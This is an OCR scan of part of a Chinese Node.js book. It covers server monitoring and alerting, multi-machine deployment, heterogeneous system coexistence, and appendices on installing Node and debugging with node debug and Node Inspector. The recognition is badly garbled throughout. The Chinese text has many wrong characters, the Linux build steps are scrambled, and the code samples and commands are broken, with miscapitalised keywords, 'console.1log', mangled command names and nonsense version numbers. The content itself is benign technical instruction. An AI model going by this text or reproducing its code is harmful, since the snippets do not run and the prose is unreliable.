题 。 健 康 的 内 存 使 用 应 当 是 有 升 有 降 ， 在 访问 量 大 的 时 候 上 
升 ， 在 访问 量 回落 的 时 候 ， 占 用 量 也 随 之 回落 。 

如 果 进 程 中 存在 内 存 泄漏 ， 又 一 时 没有 排查 解决 ， 有 一 种 方 
案 可 以 解决 这 种 状况 。 这 种 方案 应 用 于 多 进程 架构 的 服务 集 
群 ， 让 每 个 工作 进程 指定 服务 多 少 次 请 求 ， 达 到 请 求 数 之 后 
进程 就 不 再 服务 新 的 连接 ， 主 进程 启动 新 的 工作 进程 来 服务 
客户 ， 旧 的 进程 等 所 有 连接 断 开 后 就 退出 。 这 样 即 使 存在 内 
存 泄漏 的 风险 ， 也 能 有 效 地 规避 内 存 泄漏 带 来 的 影响 。 但 这 
属于 规避 问题 ， 只 解决 了 问题 的 表象 ， 不 推荐 使 用 。 

总 而 言 之 ， 监 控 内 存 并 长 时 间 观 察 是 防止 系统 出 现 异 常 的 好 
方法 。 如 果 突 然 出 现 内 存 异 常 ， 也 能 够 追踪 到 是 近期 的 哪些 
代码 改动 导致 的 问题 。 

CPU 占用 监控 

服务 器 的 CPU 占用 监控 也 是 必 不 可 少 的 项 ，CPU 的 使 用 分 为 
用 户 态 、 内 核 态 、IOWait 等 。 如 果 用 户 态 CPU 使 用 率 较 高 ， 
说 明 服 务 器 上 的 应 用 需要 大 量 的 CPU 开销 ;如 果 内 核 态 CPU 
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使 用 率 较 高 ， 说 明 服 务 器 花费 大 量 时 间 进 行进 程 调 度 或 者 系 
统 调 用 ; IOWait 使 用 率 则 反应 的 是 CPU 等 竺 位 型 IO 操作 。 
CPU 的 使 用 率 中 ， 用 户 态 小 于 70%、 内 核 态 小 于 35% 且 整体 
小 于 70% 时 ， 处 于 健康 状态 。 监 控 CPU 占 用 情况 ， 可 以 帮助 
分 析 应 用 程序 在 实际 业务 中 的 状况 。 合 理 设 置 监控 靖 值 能 够 
很 好 地 预警 。 

CPU load 监 控 


CPU load 又 称 CPU 平 均 负 载 ， 它 用 来 描述 操作 系统 当前 的 繁 
忙 程度 ， 可 以 简单 地 理解 为 CPU 在 单位 时 间 内 正在 使 用 和 等 
待 使 用 CPU 的 平均 任务 数 。 它 有 3 个 指标 ， 即 1 分 钟 的 平均 负 
载 、5 分 钟 的 平均 负载 、15 分 钟 的 平均 负载 。CPU load 过 高 说 
明 进 程 数量 过 多 ， 这 在 Node 中 可 能 体现 在 用 子 进程 模块 反复 
启动 新 的 进程 。 监 控 该 值 可 以 防止 意外 产生 。 

LO 负载 

IO 负载 指 的 主要 是 磁盘 IO。 反 应 的 是 磁盘 上 的 读 写 情况 ， 
对 于 Node 编 写 的 应 用 ， 主 要 是 面 癌 网 络 服务 ， 是 故 不 太 可 能 
出 现 MO 负 载 过 高 的 情况 ， 大 多 数 的 IO 压力 来 目 于 数据 库 。 
不 管 Node 进 程 是 否 与 数据 库 或 其 他 IO 密集 的 应 用 共处 相同 的 
服务 器 ， 我 们 都 应 监控 该 值 以 防 万 一 。 

网 络 监控 

虽然 网 络 流量 监控 的 优 移 级 没有 上 述 项 目 那么 高 ， 但 还 是 需 
要 对 流量 进行 监控 并 设置 上 限 值 。 即 便 应 用 突然 受到 用 户 的 
青睐 ， 流 量 暴涨 时 也 能 通过 数值 感知 到 网 站 的 宣传 是 否 有 
效 。 一 旦 流量 超过 警戒 值 ， 开 发 者 就 应 当 找 出 流量 增长 的 原 
因 。 对 于 正常 增长 ， 应 当 评 估 是 否 该 增加 硬件 设备 来 为 更 多 
用 户 提 供 服务 。 

网 络 流量 监控 的 两 个 主要 指标 是 流入 流量 和 流出 流量 。 

应 用 状态 监控 

除了 这 些 硬性 需要 检测 的 指标 外 ， 应 用 还 应 当 提 供 一 种 机 制 
来 反馈 其 自身 的 状态 信息 ， 外 部 监控 将 会 持续 性 地 调用 应 用 
的 反馈 接口 来 检查 它 的 健康 状态 。 

最 简单 的 状态 反馈 就 是 给 监控 响应 一 个 时 间 惟 ， 监 控 方 检查 
时 间 惟 是 否 正常 即 可 : 
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app.use('/status', function (req, res) { 
res.writeHead(200); 
res.end(new Date()); 


}); 


健壮 一 些 的 状态 响应 则 是 将 应 用 的 依赖 项 的 状态 打印 出 来 ， 
如 数据 库 连 接 是 否 正常 、 缓 存 是 否 正常 等 。 
DNS 监控 


DNS 是 网 络 应 用 的 基础 ， 在 实际 的 对 外 服务 产品 中 ， 多 数 都 
对 域名 有 依赖 。 DNS 故障 导致 产品 出 现 大 面积 影响 的 事件 并 
不 少见 。 由 于 DNS 服务 通常 是 稳定 的 ， 容 易 让 人 忽略， 但 一 
旦 出 现 故 障 ， 束 可 能 是 史无前例 的 故障 。 对 于 产品 的 稳定 
性 ， 域 名 DNS 状 态 也 需要 加 入 监控 。 目 前 国内 有 一 些 免 费 的 
DNS 监控 服务 ， 如 DNSPod 等 ， 可 以 通过 这 些 监控 服务 ， 监 
控 目 己 的 在 线 应 用 。 


11.5.2 ”报警 的 实现 

搭配 监控 系统 的 则 是 报警 系统 ， 空 有 监控 而 没有 通知 功能 ， 故 障 也 是 
无 法 及 时 反馈 给 开发 者 的 。 如 今 的 报警 已 经 能 够 多 样 化 ， 最 普通 的 邮 
件 报警 、IM 报 警 适合 在 线 工 作 状 态 ， 短 信 或 电话 报警 适合 非 在 线 状 


邮件 报警 如 果 报 警 系 统 由 Node 编 写 ， 可 以 调用 nodemailer 模 
块 来 实现 邮件 的 发 送 。 下 面 为 一 个 邮件 发 送 示例 : 


var nodemailer = require("nodemailer"); 


// 建立 一 个 SMTP 传 输 连接 
var smtpTransport = nodemailer.createTransport("SMTP", { 
service: "Gmail", 
auth: { 
user: "gmail.user@gmail.com", 
pass: "userpass" 


} 
}); 
// 邮件 选项 
Var mailOptions = { 
from: "Fred Foo v <foo@bar .com>"，// 发 件 人 邮件 地 址 
to: "bar@bar ,com，baz@bar .com"，V// 收 件 人 邮件 地 址 列表 
subject: "Hello v"，// 标题 
text: "Hello world v"，// 纯 文本 内 容 
html: "<b>Hello world v</b>" // HTML 内 容 
} 


// 发 送 邮 件 
smtpTransport.sendMail(mailOptions, function (err, response) 


Pn 


if (err) { 
console.1log(err); 
} else { 
console.log("Message Sent: " + response.message); 


} 
}); 
。 短信 或 电话 报警 。 一 些 短信 服务 平台 提供 短信 接 入 服务 ， 可 
以 在 监控 系统 中 接 入 此 类 服务 时 ， 一 旦 线 上 出 现 到 达 阐 值 的 
异常 时 ， 束 将 信息 发 送 给 应 用 相关 的 责任 人 。 


11.5.3 ”监控 系统 的 稳定 性 

我 们 发 现 为 了 保证 应 用 的 稳定 性 ， 其 实 不 知 不 觉 间 又 引入 了 一 个 庞大 
的 监控 系统 。 监 控 系统 自身 的 稳定 性 对 应 用 非常 重要 ， 这 如 同 照看 孩 
子 的 保姆 ， 如 果 保 姆 不 能 尽心 尽力 ， 玩 忽 职 守 ， 其 结果 是 有 监控 系统 
不 如 没有 。 

0 本 章 不 再 继续 展 


11.6 ”稳定 性 

关于 应 用 的 稳定 性 ， 其 实在 部 分 章节 中 都 有 阐述 ， 尤 其 在 第 4 草 和 第 9 划 
这 中 有 重点 描述 ， 这 两 章 从 单 进程 和 多 进程 的 角度 提 及 了 稳定 性 。 单 独 
一 台 服 务 器 满足 不 了 业务 无 限 增长 的 (如果 有 的 话 ) 需求 ， 这 就 需要 将 
Node 按 多 进程 的 方式 部 署 到 多 台 机 器 中 。 这 样 如 果 某 人 台 机 器 出 现 故 障 ， 
也 能 有 其 余 机 器 为 用 户 提 供 服 务 。 除 此 之 外 ， 为 了 能 够 较 好 地 服务 各 地 
用 户 ， 绝 大 多 数 企 业 都 会 选择 在 各 地 构建 机 房 以 抵消 因为 地 理 位 置 融 来 
的 网 络 延迟 等 问题 。 为 了 更 好 的 稳定 性 ，— 典 型 的 水 平 扩 展 方式 就 是 多 进 
程 \` 多 机 器 、 多 机 房 ， 这 样 的 分 布 式 设计 在 现在 的 互联 网 公司 并 不 少 
py O 


。 多 机 器 : 多 机 器 部 署 应 用 带 来 的 好 处 是 能 利用 更 多 的 硬件 资 

源 ， 为 更 多 的 请 求 服务 。 同 时 能 够 在 有 故障 时 ， 继 续 服 务 用 户 
请 求 ， 保 证 整体 系统 的 高 可 用 性 。 但 是 一 旦 出 现 分 布 式 ， 束 需 
要 考虑 人 负载 均衡 、 状 态 共 享 和 数据 一 致 性 等 问题 。 
如 同 在 单机 中 将 请 求 分 发 到 多 个 进程 上 一 样 ， 部 署 多 台 机 絮 也 
需要 考虑 如 何 将 请 求 均匀 地 分 配给 各 个 机 器 ， 这 需要 在 机 房 的 
级 别 上 架设 负载 均衡 ， 可 能 是 硬件 设备 来 实现 ， 也 可 能 是 软件 
来 实现 ， 比 如 反 辐 代理 。 图 11-5 为 负载 均衡 的 示意 图 。 


负载 均衡 


wo] (> 


图 11-5 ”负载 均衡 示意 图 

对 于 状态 共享 和 数据 一 致 性 ， 它 们 与 多 进程 的 问题 是 一 致 的 ， 
具体 可 参见 第 9 章 ， 此 处 不 再 多 述 。 

多 机 房 : 多 机 房 部 署 是 比 多 机 器 部 署 更 高 层次 的 部 署 ， 目 的 是 
为 了 解决 地 理 位 置 给 用 户 访问 带 来 的 延迟 等 问题 。 在 容 灾 方 
面 ， 机 房 与 机 房 之 间 可 以 互 为 备份 。 由 于 机 房 与 机 房 之 间 的 网 
络 复杂 度 再 度 提升 ， 负 载 均 衡 方面 需要 进一步 去 统筹 规划 ， 此 
处 不 再 展开 。 

容 灾 备 份 : 在 多 机 房 和 多 机 器 的 部 署 结构 下 ， 十 分 容易 通过 备 
份 的 方式 进行 容 灾 ， 任 何 一 台 机 器 或 者 一 个 机 房 停 止 了 服务 ， 


都 能 有 其 余 的 服务 器 来 接替 新 的 任务 。 在 这 个 机 制 下 ， 我 们 至 
少 需 要 4 台 服 务 器 来 构建 这 个 稳定 的 服务 集群 ， 如 图 11-6 所 示 。 


机 房 ] 机 房 2 机 房 N 


一 一 一 一 一 一 一 


rr 一 一 一 一 一 一 一 


图 11-6 服务 集群 构建 示意 图 


需要 注意 的 是 ， 如 今 虚拟 化 技术 已 经 成 熟 ， 在 多 服务 器 部 署 中 ， 要 尽量 
避免 多 个 服务 器 在 相同 的 实体 机 上 “。 因 为 一 旦 实体 机 出 现 故障 ， 导 致 多 
台 服 务 器 一 起 停止 服务 。 

应 用 目 号 的 部 署 问题 得 到 解决 后 ， 还 要 考虑 的 是 应 用 依赖 的 服务 的 容 灾 
和 备份 ， 如 依赖 的 数据 库 、 缓 存 等 服务 。 


11.7 异 构 共存 

站 在 技术 的 产品 化 的 角度 来 看 ， 选 择 将 一 门 新 技术 应 用 在 生产 环境 中 
就 得 考虑 与 已 有 的 系统 或 者 服务 能 否 异 构 共 存 。 如 果 为 了 应 用 一 种 新 
技术 而 将 已 有 的 所 有 技术 推翻 ， 那 并 不 是 一 个 企业 愿意 去 承担 的 风 
险 。 每 一 门 新 的 语言 或 者 新 的 技术 在 推广 和 应 用 的 过 程 中 都 要 面临 这 
样 的 问题 。 对 于 Node 而 言 ， 我 在 本 书 中 介绍 了 它 的 诸多 原理 。 可 以 看 
出 ， 它 并 非 一 个 格格 不 入 的 新 事物 ， 它 构建 于 C/C++ 之 上 ， 以 
JavaScript 为 调用 语言 ， 以 良好 的 事件 驱动 架构 形成 面 癌 网 络 的 平台 ， 
任何 神奇 的 地 方 都 能 从 操作 系统 底层 找到 它 的 起 源 。 

在 应 用 Node 的 过 程 中 ， 一 部 分 是 在 全 新 的 项 目 中 应 用 ， 一 部 分 是 改造 
已 有 系统 通过 Node 来 提升 性 能 。 几 乎 没有 将 已 有 系统 推翻 用 Node 来 进 
行 重建 的 。 

关于 在 全 新 项 目 中 应 用 Node， 此 处 址 庸 再 提 。 对 于 改造 已 有 系统 ， 
Node 借 助 C/C++ 说 层 或 网 络 协议 ， 已 经 能 与 这 个 世界 上 大 多 数 的 系统 
进行 交互 。 其 原理 在 于 能 够 服务 化 的 产品 ， 都 是 具有 标准 协议 的 。 协 
议 几 乎 是 解决 异 构 系 统 最 完美 的 方案 。 只 要 有 标准 的 交互 协议 ， 各 种 
语言 就 能 通过 网 络 与 之 进行 交互 。 如 MySQL 等 数据 库 ， 由 于 有 标准 的 
网 络 协 议 ， 所 以 可 以 通过 各 种 各 样 的 编程 语言 进行 调 有 用。 当然， 通过 
Node 编 写 对 应 的 客户 端 豫 动 也 并 不 是 难事 。 图 11-7 为 编程 语言 与 服务 
之 间 通 过 网 络 协议 进行 调用 的 示意 图 。 


服务 (C/C++/Javal...) 


TCP 网 络 协议 
[这 | | 


图 11-7 编程 语言 与 服务 通过 网 络 协议 进行 调用 的 示意 图 

对 于 一 般 系 统 ， 可 能 并 韭 TCP 层 面 的 网 络 协 议 ， 而 是 RESTful 的 服务 接 
口 。 两 者 的 不 同 在 于 一 个 是 HTTP 协 议 ， 处 于 应 用 层 ; 一 个 是 TCP 协 
议 ， 处 于 传输 层 。 协 议 层 次 不 同 ， 性 能 方面 会 体现 出 差异 来 。TCP 协 
议会 建立 持久 的 长 连接 ， 甚 至 连接 池 ， 而 HTTP 协议 则 可 能 频繁 地 进行 


和 连接， 在 性 能 上 存在 损耗 。TCP 协 议 需 要 依赖 客户 端 驱 动 ，HITP 协 议 
则 基本 上 有 现成 的 客户 端 。 

总 之 ， 在 应 用 Node 的 过 程 中 ， 不 存在 为 了 用 它 而 推翻 已 有 设计 的 情 
况 。Node 能 够 通过 协议 与 已 有 的 系统 很 好 地 异 构 共 存 。 将 Node 用 于 系 
统 改 民 的 开发 者 需要 堵 虑 的 是 已 有 的 系统 是 否 具备 民 好 的 服务 化 ， 是 


人 否 文 持 多 种 终端 ， 征 否 文 持 多 种 语言 调用 。 


11.8 总结 


一 口 
一 般 而 言 ， 决 定 用 一 项 技术 进行 产品 开发 时 ， 只 有 最 早期 是 与 这 门 技 
术 完 全 相关 的 。 随 着 时 间 的 迁移 ， 要 解决 的 已 经 不 是 原来 的 问题 了 ， 
一 门 技术 只 能 在 一 定 层面 上 发 挥 出 它 的 优势 来 。 用 Node 也 是 一 样 ， 随 
春 开 发 的 进展 、 涉 及 层面 的 增多 ， 我 们 看 到 在 产品 的 角度 要 解决 的 问 
题 依然 是 大 部 分 技术 都 要 解决 的 问题 。 我 们 硕 望 读者 能 够 将 Node 纳 入 
使 它 更 适应 产品 ， 在 产品 中 发 挥 出 更 大 的 优 


11.9 ”参考 资源 


本 章 参 考 的 资源 为 https:Wgithub.comyandris9/Nodemailer 。 


附录 A 安装 Node 

Node 的 开发 环境 十 分 容易 搭建 ， 只 要 一 个 运行 时 和 任意 的 文本 编辑 器 
就 可 以 开始 开发 了 ， 十 分 轻 量 快捷 。 

在 曾经 的 发 烧 友 时 代 (v0.2 到 v0.4) ， 安 装 Node 需 要 一 定 的 折腾 方才 
能 够 运行 在 电脑 中 ， 并 且 在 Windows 下 无 法 安装 运行 。 从 v0.6 开 始 ， 
Node 启 用 了 GYP 项 目 生成 工具 ， 同 时 采用 libuv 作 为 平台 抽象 层 ， 实 现 
了 兼容 *nix 与 Windows， 这 在 第 2 章 中 已 介绍 过 ， 此 处 不 再 深究 。 至 那 
时 候 起 ，Node 告 别 了 在 Windows 下 通过 Cygwin 运 行 的 别扭 方式 。 如 今 
Node 在 每 个 版 本 发 布 时 ， 会 编译 好 各 个 平台 下 的 二 进 制 版 本 ， 直 接 安 
装 即 可 ， 无 需 编 译 。Node 的 官方 首页 http://modejs.org 会 根据 你 的 操作 
系统 提供 不 同 的 链接 地 址 供用 户 下 载 ， 用 户 只 需 点 击 Install 按 钮 安装 即 
可 。 

在 Node 的 安装 过 程 中 ， 实 际 上 还 会 安装 上 NPM 工 具 。 对 于 NPM 的 作 
用 ， 第 2 章 也 有 叙述 。 在 Node v0.6.3 之 前 ，NPM 工 具 的 安装 是 与 Node 
分 离 的 ， 需 要 额外 安装 。 但 在 v0.6.3 时 ，Node 中 就 开始 集成 了 NPM 的 
安装 。 在 那 不 久 之 后 ，NPM 的 作者 Isaac Z. Schlueter 从 Ryan Dahl 手 中 
接 过 Node 掌 门人 的 职位 ， 负 责 Node 的 日 常 问题 修复 和 版 本 发 布 。 

下 面 将 简单 介绍 各 个 平台 下 的 安装 ， 只 是 细 和 上 略 有 不 同 。 


A.1 Windows 系 统 下 的 Node 安 装 

对 于 Windows 用 户 ，32 位 系统 将 会 得 到 
http://nodejs.org/dist/<version>/node-<version>-x86.msi 这 样 一 个 地 址 ， 
其 中 version 是 具体 的 版 本 号 ，64 位 系统 将 会 得 到 http:/nodejs.org/dist/ 
<version>/x64/node-<version>-x64.msi 地 址 。 下 载 .msi 文 件 后 ， 直 接 双 
击 它 ， 安 装 时 根据 同 导 的 提示 一 直 单 击 Next 按 钮 即 可 完成 整个 安 狠 流 
程 。 图 A-1 为 Node 在 Windows 系 统 下 的 引导 界面 。 

安装 完成 后 ， 打 开 命 令 行 ， 执行 hode 验证 是 否 安 炙 成 功 ° 不 出 意外 ， 
将 会 得 到 当前 安装 版 本 的 版 本 号 。 同 样 也 可 以 执行 nm -v 验 证 NPM 工 具 
是 否 随 Node 安 装 成 功 。 

注意 ， 这 里 的 本 gasaie 是 一 个 wasangeiinapwinexismone 属 式 的 宇和 侍 串 ， 如 


vO.10.12 ° 


但 Hode. Js Setup 


Welcome to the Node.js Setup Wizard 


The Setup Wizard will install Node,js on your computer, Click 
Next to continue or Cancel to exit the Setup Wizard， 


Cancel 


图 A-1 Node 在 Windows 系 统 下 的 引导 界面 


A.2 ”Mac 系统 下 Node 的 安装 

Mac 系 统 下 的 用 户 与 Windows 用 户 不 同 的 是 会 得 到 .pkg 的 文件 包 ， 链 接 
也 与 版 本 相关 http://nodejs.org/dist/<version>/node-<version>.pkg ° 
下 载 完成 后 ， 打 开 .pkg 文 件 包 ， 也 会 如 Windows 用 户 那 样 得 到 一 个 安 
装 向 导 ， 如 图 A-2 所 示 。 


安装 "Node A 


欢迎 使 用 Node" 安 装 器 


This package will install node and npm into /usr/local/bin 


图 A-2 Mac 系统 下 安装 Node 的 界面 

点 击 “ 继 续 ” 按 钮 并 接受 许可 协议 后 ， 随 着 问 导 安装 即 可 。 

安装 完 后 ， 在 命令 行 执行 node -v 和 npm -v 即 可 验证 安装 结果 如 下 是 
我 当时 的 环境 : 


$ node -v 
vO.8.14 
$ npm -v 
1..1a65 


A.3 Linux 系 统 下 Node 的 安装 
对 于 Linux 系 统 下 的 用 户 ， 官方 推荐 通过 


官方 主页 ， 


才 源 代码 进行 安装 。 打 开 Node 
会 得 到 源 代 码 链 接 http:/nodejs.orgy/disV<version>/node- 


<version>.tar.gz。 你 可 以 通过 wget 或 curl 等 工具 进行 下 载 。 
需要 提 及 的 是 ， 编 译 Node 时 需要 的 儿 个 环境 依赖 如 下 所 示 。 


$ tar 


Python 2.6 或 Python 2.7: Node 不 支持 Python 3.0。 主 要 原因 
在 于 GYP 项 目 构 建 工 具 是 是 采用 Python 完成 开发 的 ， 这 里 建议 


安 闭 Python 2.7， 因为 node。 -8yPp 前 


源 代 码 编译 句 : Node 目 映 有 部 分 代码 通 


需要 GCC 或 G++ 编 译 器 。 


需要 Python 2.7 才 能 正常 使 用 。 
过 C/C++ 编写 ， 所 以 


make 工 具 : 建议 使 用 该 工具 的 3.81 版 本 或 更 新 的 版 本 。 


eR 了 版 ， 可 以 通过 省 目的 安 狠 工具 
。 下 面 是 用 源码 进行 配置 的 过 程 : 


// 解压 源码 包 


zxvf node-<version>.tar.gz 


// 进入 目 


$cd 
// 环 
$a/C 
// 配 


可 
node-<version> 
境 配 
onfigure 
结果 


{ 'target_defaults': { 'cflags': [], 


'default_configuration': 'Release', 
"defines': [], 
'include_dirs': [], 
'libraries': []}, 
'variables': { 'clang': 1, 
'host_arch': 'x64', 
'node_install npm': 'true', 
'node_prefix': '', 
'node_shared_cares': 'false', 
'node_shared_http_parser': 'false', 
'node_shared_libuv': 'false', 
odesshared ‘openssl;: 'false', 
'node_shared v8': 'false', 
'node_shared zlib': 'false', 
'node tag': ''", 
inode_ unsafe_optimizations': 0, 
'node_use dtrace': 'true', 
"node_use_etw': 'false', 
'node_use openssl': 'true', 
'node_use perfctr': 'false', 


'python': '/usr/bin/python', 
'target_arch': 'x64', 
'v8_enable_ gdbjit': 0, 
'v8_no_strict aliasing': 1, 
'v8_use_snapshot': 'true'}} 


(apt-get 或 yum) 来 


Creating ./config.gypi 
Creating ./config.mk 


Node 采 用 GYP 工 具 构建 项 目 找 行 可 esiaams 之 后 ， 除了 得 到 以 上 配置 
结果 外 ， 还 会 在 目录 下 生成 config.gypi 和 config.mk 文 件 。 执 行 nake 命 令 
后 ， 将 根据 这 两 个 文件 进行 Node 的 编译 。 

编辑 的 过 程 是 一 个 相对 见长 的 时 间 ， 最 终 会 在 out/Release 目 录 下 得 到 
node 文 件 9 执行 suao make install 会 将 node 的 相关 头 文 件 和 二 进 制 文件 安 
装 到 /usr/local 下 的 lib 或 bin 目 如下 : 


$ make 
$ [sudo] make install 


执行 node -v 和 npnm -v 命 令 ， 可 以 校 i 安装 成 功 : 


$ node -v 
vO.8.14 
$ npm -v 
T6065 


事实 上 ， 这 些 操 作 在 Mac 系 统 下 也 一 样 有 效 。 如 果 你 古 一 个 喜欢 尝鲜 
的 人 ， 可 以 尝试 从 Node 的 git 仓 库 中 得 到 最 新 的 源 代码 进 行 编译 疾 
以 体验 最 新 的 功能 : 


$ git clone https://github.com/joyent/node.git 
$ cd node 


执行 git tag 命 令 ， 你 会 得 到 有 史 以 来 的 标签 (tag) 。 找 到 最 新 的 标 
签 ， 执行 git checkout <version> 切 换 到 标签 上 进 井 行 编译 即 可 。 


A.4 总 结 


AN 一 器 
在 安 闭 完 Node 后 ， 可 以 试 着 用 上 自己 喜欢 的 文本 编辑 霜 将 
例 保存 为 example.js 文 件 ， 示 例 代 码 如 下 : 


var http = require('http'); 

http,createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}) .listen(1337, '127.0.0.1'); 

console.log('Server running at http://127.0.0.1:1337/'); 


然后 执行 node example .js 命令 ， 看 看 是 否 可 以 得 到 如 下 结果 : 

Server running at http://127.0.0.1:1337/ 
用 浏 损 右 试 春 打开 这 个 地 址 ， 看 看 是 否 得 到 elle wor1d 的 输出 结 末 。 如 
果 可 以 得 到 这 个 结果 ， 那 么 恭喜 你 安 效 成 功 了 。 


ul 
和 
(人 了 
EN 
> 

dl 


A.5 参考 资源 


Installation ° 


附录 B 调试 Node 

JavaScript 作 为 Node 的 主要 编程 语言 。 。 在 大 多 数 的 脚本 语言 中 ， 调 试 是 

一 项 比较 麻烦 的 事情 ，JavaScript 也 不 例外 。 在 Firefox 浏 览 右 的 Firebug 

插件 出 现 之 前 ， 主 流 的 JavaScript 调 斌 方式 是 在 代码 中 编写 alert()， 这 

种 糟糕 的 调试 体验 之 前 存在 了 很 信 。 对 于 Node 而 言 ， 调 试 的 方式 则 不 

eh 。 这 篇 附录 将 会 介绍 Node 开 发 中 主要 的 几 
调试 方法 。 


B.1 Debugger 
Node 的 调试 直接 受益 于 V8。V8 提 供 了 标准 的 调试 API， 使 得 可 以 从 进 
程 内 部 进行 调试 。 同 时 还 提供 了 基于 该 API 的 TCP 调 试 协议 ， 使 得 通过 
调试 协议 ， 可 以 从 进程 外 进行 代码 调试 。Node 内 建 了 调试 协议 的 客户 
癌 ， 所 以 在 局 动 时 市 上 gebug 参 数 束 可 以 实现 对 JavaScript 代 码 的 调试 。 
在 进行 调试 前 ， 需 要 通过 debugoer; 语 名 在 代码 中 设置 断 点 ， 这 样 在 执行 
时 代码 会 形成 中 断 。 以 下 为 断 点 设置 示例 : 
// myscript.js 
x = 5; 
setTimeout(function () { 
debugger ; 
console.1log("world"); 


}, 1900); 
console.1log("hello"); 


执行 上 述 代码 时 ， 在 命令 行 中 加 入 desug 。 添 加 debug 在 命令 中 后 ，Node 
会 开启 调试 功能 ， 内 建 的 客户 请 全 与 V8 建 立 连 楼 。 下 面 的 输出 为 执行 


$ node debug examples/B/myscript.js 
< debugger listening on port 5858 
connecting... ok 
break in examples/B/myscript.js:2 
1 // myscript.js 

2x=5; 

3 setTimeout(function () { 

4 debugger; 
debug> 


代码 在 执行 到 gevugger; 语 句 后 ， 中 止 了 执行 ， 并 出 现 输入 交互 提示 ， 等 
待 输入 指令 后 执行 后 续 操 作 。 

这 里 需要 说 明 一 个 ，Node 的 调试 客户 端 并 没有 文 持 V8 的 所 有 命令 ，! 
有 简单 的 步 进 和 检查 的 命令 。 

其 中 步 进 指令 主要 有 如 下 J 儿 沾 用 


| 


a 


。 cont 或 <。 继续 执行 。 

。 next 或 n。 执 行 到 下 一 个 断 点 。 
。 step 或 as。 步 进 到 函数 内 部 。 

。 out 或 。。 从 男 数 内 部 跳出 。 

。 pause。 暂 停 执 行 。 


通过 断 点 进 ee 可 以 通过 步 进 指 令 逐 方法 地 调试 。 
通过 步 进 指 令 ， 还 可 以 继续 设置 断 点 。V8 提 供 了 如 下 几 种 设置 断 点 和 
清除 断 点 的 方法 。 
© setBreakpoint() 或 sb() 在 当 前 行 设置 断 点 
@ Se oe DK sne © 在 指定 的 行 设置 断 : i 中 
© Se DC se 2 ” 在 函数 体 的 第 一 个 声明 处 设置 断 
占 。o 
® setBreakpoint('script.js', 1) 或 sb(...) 吕 在 脚本 文件 的 第 1 行 设 置 断 
占 。 
© Oe 8 清除 断 点 四 


除了 设置 断 点 外 ， 在 中 断后 进行 调试 时 ， 还 可 以 查看 一 些 信息 。 这 些 
言 息 指令 如 下 所 示 。 


。 backtrace 或 bt。 打印 当前 执行 情况 下 的 堆栈 信息 。 

。 list(5)。 列 出 当前 上 下 文 前 后 5 行 的 源 代码 。 

。 watch(expr)。 添 加 表达 式 到 观察 列表 ， 进 行 观察 。 

. unwatch(expr)。 从 观察 列表 中 移 除 对 表达 式 的 观察 。 

。 watchers。 列 出 所 有 观察 的 表达 式 和 值 。 

。 repl。 打 开 调 试 的 交互 ， 用 于 执行 调试 脚本 的 上 下 文 。 


V8 的 调试 功能 除了 在 命令 行 中 通过 debug 可 以 局 用 外 ， 对 于 已 经 运行 的 
人 。 假设 通 过 如 下 命令 启动 


$ node server.js 


通过 ps 命令 找 出 进程 的 ID， 然 后 对 这 个 运行 中 的 进程 发 送 sreusri 信 号 ， 
命令 如 下 所 示 : 


$ kill -s USR1 10093 


在 原 有 的 进程 下 ， 可 以 看 到 接收 到 信号 并 启动 调试 客户 端的 提示 信 
息 ， 如 下 所 示 : 


$ node server.js 
Hit SIGUSR1 - starting debugger agent. 


debugger listening on port 5858 
调试 客户 端 启动 后 ， 可 以 通过 浏览 器 访问 http://localhost:5858/ 来 进行 
调试 。 这 将 引入 我 们 下 一 个 调试 工具 的 介绍 Node Inspector 工 具 就 
是 在 这 个 基础 上 实现 的 图 形 界面 调试 。 


B.2 Node Inspector 


Node Inspector 工 具 是 基于 Debugger 和 Blink 开 发 者 工具 创建 的 调试 界 
面 。 在 代码 的 调试 功能 方面 ， 源 目 Node 为 V8 内 建 的 调试 代理 ， 界 面 交 
互 功能 则 来 和 目 Blink 的 开发 者 工具 。 带 有 Blink 开 发 者 工具 的 浏览 右 有 
Chrome、Opera。 这 意味 着 我 们 可 以 像 调 试 浏览 器 中 的 JavaScript 代 码 
一 样 调试 Node 中 的 JavaScript 代 码 。 

B.2.1 ”安装 Node Inspector 

在 使 用 Node Inspector 之 前 ， 需 要 通过 NPM 工 具 安 装 它 为 全 局 命令 行 工 
具 , 安装 作 令 如 下 有 所 示 : 


$ npm install -g node-inspector 


B.2.2 错误 堆栈 

使 用 Node Inspector 愉 须 先 局 用 Node 进 程 的 调试 模式 。 局 用 调试 模式 的 
Ba 式 在 前 文 有 过 介绍 ， 在 命令 行 中 使 用 debug 或 者 通过 发 送 sreuspa 给 Node 
进程 即 可 局 用 调试 模式 。 

启动 Node 进 程 调试 后 ， 束 可 以 启动 Node Inspector 工 具 。Node Inspector 
工具 相当 于 在 Blink 开 发 者 工具 与 Node 进 程 的 调试 代理 之 间 建 立 了 联 
系 。 局 动 命令 如 下 所 示 : 


$ node-inspector 
Node Inspector vO.5.0 
info - socket.io started 
Visit http://127.0.0.1:8080/debug?port=5858 to start debugging. 


命令 行 中 输出 了 一 些 信息 ， 这 时 可 以 打开 带 Blink 开 发 者 工具 的 浏览 器 
访问 http://127.0.0.1:8080/debug?port=5858 开 始 真 正 的 调试 。 打 开 浏 览 
器 后 会 出 现 如 图 B-1 这 样 的 界面 。 


四 | workerjs x | Eun + + 


1 (function (exports, require, module, _ filenam » Watch Expressions + 
ee {req, res) { |v Call Stack 
3 res.writeHead(280, {'Content-Type': 'text/p\ 
4 res.end{'Hello World\n'); Y Scope Variables 
5 // }), Uisten(Math, round( (1 + Math.random()) * |» Breakpoints 
, }).listen(9000, '127.0.0.1'); > DOM Breakpoints | 
8 }); p XHR Breakpoints 中 
| » Event Listener Breakpoints 
= @ {} Une6,column30 Ee 


图 B-1 打开 浏览 器 后 的 调试 界面 


在 Sources 面 板 中 可 以 选择 具体 的 JavaScript 脚 本 设置 断 点 ， 后 续 的 调试 
过 程 瓯 跟 在 浏览 右 中 调试 Ja avaScript 一 样 。 


B.3 总 结 


CA 一口 
由 于 Node 主 要 运行 在 服务 器 中 ， 调 试 会 引起 执行 中 断 ， 进 而 中 断 服 
务 ， 不 利于 在 有 大 访问 量 的 情况 下 进行 。 调 试 只 适合 于 开发 阶段 ， 并 
且 由 于 过 程 略 麻烦 ， 不 宜 在 开发 中 过 于 依赖 。 更 好 的 方式 是 编写 民 好 
人 这 对 于 程序 开发 来 说 更 轻 量 ， 信 和 赖 
受 | 到? 


